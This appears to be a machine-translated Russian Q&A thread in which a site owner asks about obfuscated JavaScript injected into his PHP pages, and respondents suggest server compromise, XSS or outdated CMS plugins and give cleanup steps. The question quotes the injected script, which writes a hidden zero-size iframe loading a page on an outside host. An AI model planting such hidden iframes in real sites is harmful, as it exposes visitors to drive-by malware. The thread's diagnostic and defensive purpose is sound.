JavaScript вводится на моих страницах PHP - PullRequest
5 голосов
/ 30 октября 2009

У меня есть веб-сайт, и я только что обнаружил, что кто-то внедрил JavaScript на моей странице. Как я могу понять, что он делает и как они это сделали?

<script> var x = unescape("%68% (**** some other hex characters here
****%74%2e%63%6e%2f%76%69%64");document.write("<i"+"fr"+"am"+"e 
s"+"r"+"c=\""+x+"/ind"+"e"+"x.p"+"hp\" w"+"id"+"th=\"0\" he"+"i"+"ght=\"0\" 
fr"+"a"+"m"+"ebor"+"de"+"r=\"0\"><"+"/ifra"+"m"+"e>"); </script>

Что я не уверен, как туда попал. Кто-нибудь знает, как он туда попал? и что я могу сделать, чтобы удалить его?

Ответы [ 6 ]

14 голосов
/ 30 октября 2009

Вы должны знать это сейчас:

Мы видим это в Linode немного, и это указывает на то, что ваш сервер был взломан злоумышленником. В противном случае это может быть эксплойт браузера, который заразит ваших пользователей, или ссылка на спам-сайт.

Сохраните все с введенным кодом для последующего анализа и немедленно повторно разверните весь свой сервер и веб-стек. У атакующего, несомненно, есть по крайней мере оболочка на вашем ящике, и это неизбежно приведет к руту, если он хитрый.

Выполните повторное развертывание, обновляйте свои приложения, прекращайте писать пригодный для использования PHP и блокируйте учетные записи пользователей надежными паролями или ключами SSH. Я не пытаюсь увести мою компанию или что-то в этом роде, но это такое обычное явление на плохо управляемых веб-боксах, что мы написали статью о как полностью перераспределить с нуля . Я предлагаю это несколько раз в день.

РЕДАКТИРОВАТЬ: Если вы голосуете против меня, пожалуйста, скажите, почему - я опробовал три случая с этим точным кодом, поэтому я ничего не выдумывал.

РЕДАКТИРОВАТЬ 2: Есть одна точка зрения, где я могу переоценить ситуацию, и это только потому, что я работаю в компании VPS (и я вижу это часто). Я сделал ошибку, предположив, что «веб-хост» этого пользователя был сервером под его контролем, а не общим хостингом. Это было ошибкой, но все же есть вероятность, что я прав.

Компромисс - это отчаянная ситуация, когда работа в темноте может иметь катастрофические последствия. Если вы не знаете, почему неавторизованная сторона получила доступ к вашей инфраструктуре, вы не сможете устранить проблему. Поскольку все предполагали, что мы говорим об управляемом, разделяемом хостинге здесь - есть вероятность, что вы правы, и виноват XSS. Опять же, вопрос не был представлен с большим количеством данных, и компромисс - это ситуация, которая не рассматривается с достаточной серьезностью среди разработчиков в целом.

Честно говоря, я устал от билетов, которые мы открываем, когда ящик бьет другого в Интернете с помощью SSH-зондов, DoS-данных, внедрения URL-адресов или чего-либо в этом роде - а Rails или PHP-разработчик, управляющий боксом, не имеет Идея почему это произошло или что он может с этим поделать. Это все вещи, которые указывают на компромисс системы, а не XSS. Поэтому мое предположение, что это был сервер, находящийся под контролем ОП, было неуместно, но это простительно (я надеюсь), потому что я сейчас на работе, обрабатываю эти заявки.

Если вы хотите, чтобы я удалил свой ответ, просто скажите об этом, но я не вижу, чтобы другие голосовали.

5 голосов
/ 30 октября 2009

Поскольку вы упомянули PHP, я рассмотрю список возможных способов, которыми это могло произойти. Этот список не является всеобъемлющим; но это позволит вам провести тщательное расследование произошедшего.

  1. Возможно, ваш веб-хостинг был взломан, и это было помещено на вашу страницу из-за слабой безопасности с их стороны. Однако не предполагает, что это так . Это должно быть ваше последнее средство .
  2. Вероятно, это твоя вина. Я не говорю это, чтобы указать на вину; но чем раньше мы, разработчики, поймем, что являемся причиной наших проблем, тем лучше нам всем. Единственный разработчик, которому я не доверяю, - тот, кто говорит, что он не делает ошибок.

  3. Ваш сайт, вероятно, подвергся атаке XSS .

    • Есть ли у вас любой способ для пользователя вводить информацию на вашем сайте? Используете ли вы какие-либо текстовые поля или что-либо, что позволяет вводить данные от пользователя?

Если это так, то ваш сайт уязвим для XSS и других атак. Вот «шпаргалка» , которая расскажет вам общие вещи, которые вы можете сделать, чтобы смягчить это.

  1. Вы не должны позволять никаким пользовательским данным передаваться в базу данных без параметризации .

  2. Если вы хотите разрешить пользователю вставлять HTML, вам нужно очистить его .

  3. Не используйте магические кавычки .

Есть много способов, как это могло произойти, но без дополнительной информации я уйду от того, что вы написали.

Шаги:

  1. Переведите приложение в автономный режим.
  2. Запросите вашу базу данных, чтобы увидеть, сколько страниц / записей было введено.
  3. Проверьте ваш код на предмет того, что я упоминаю.
  4. Исправьте это.
  5. Просмотрите вашу базу данных и удалите все подозрительные строки (сценарий SQL был бы проще).
  6. Повторное развертывание приложения.
  7. Обязательно следите за журналами вашего веб-сервера. Они находка для определения, откуда началась атака.
1 голос
/ 30 октября 2009

Используете ли вы какие-либо сторонние приложения, которые имеют дыры в безопасности? Например, некоторое время назад у нас возникла проблема со старой версией редактора FCK, настроенной в расположении по умолчанию со всеми папками примеров, которые использовались для загрузки плохих файлов.

0 голосов
/ 30 октября 2009

Маловероятно, что это было сделано с помощью вашего собственного кода (поскольку код или возможные эксплойты для этого обычно не широко известны - но это, очевидно, не является причиной, чтобы не обезопасить его), но сделайте проверку на общее, но устаревшие приложения (WordPress, Drupal, ...) в вашей учетной записи.

Я столкнулся с чем-то похожим несколько дней назад, оказалось, что там был установлен старый блог WordPress (я думаю, 2.0), через который они могли получить доступ.

Если вы можете, также проверьте журналы вашего сервера на время последнего изменения ваших PHP-файлов на сервере. В моем случае это дало четкую запись о том, как они вошли и что с этим делать.

0 голосов
/ 30 октября 2009

Как я вижу, ваши страницы были вставлены в код, поэтому это было сделано из-за дыры в безопасности вашего сервера или любого работающего на нем приложения. У хакера есть возможность записи в ваши сценарии, и решение может быть таким простым, как изменение пароля FTP, или таким сложным, как поиск дыры в любом приложении, установленном на вашем сервере.

Но сначала попробуйте изменить свой пароль FTP. Измените его очень трудно угадать один, по крайней мере 12 символов длиной с любым специальным символом на нем. Я слышал, что русские хакеры направляли грубую атаку, которая вставляла скрипты в заголовки страниц, чтобы перенаправить пользователей на любые другие сайты для каких-либо непонятных целей.

0 голосов
/ 30 октября 2009

Запутанная часть не выходит на "t.cn/vid"

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...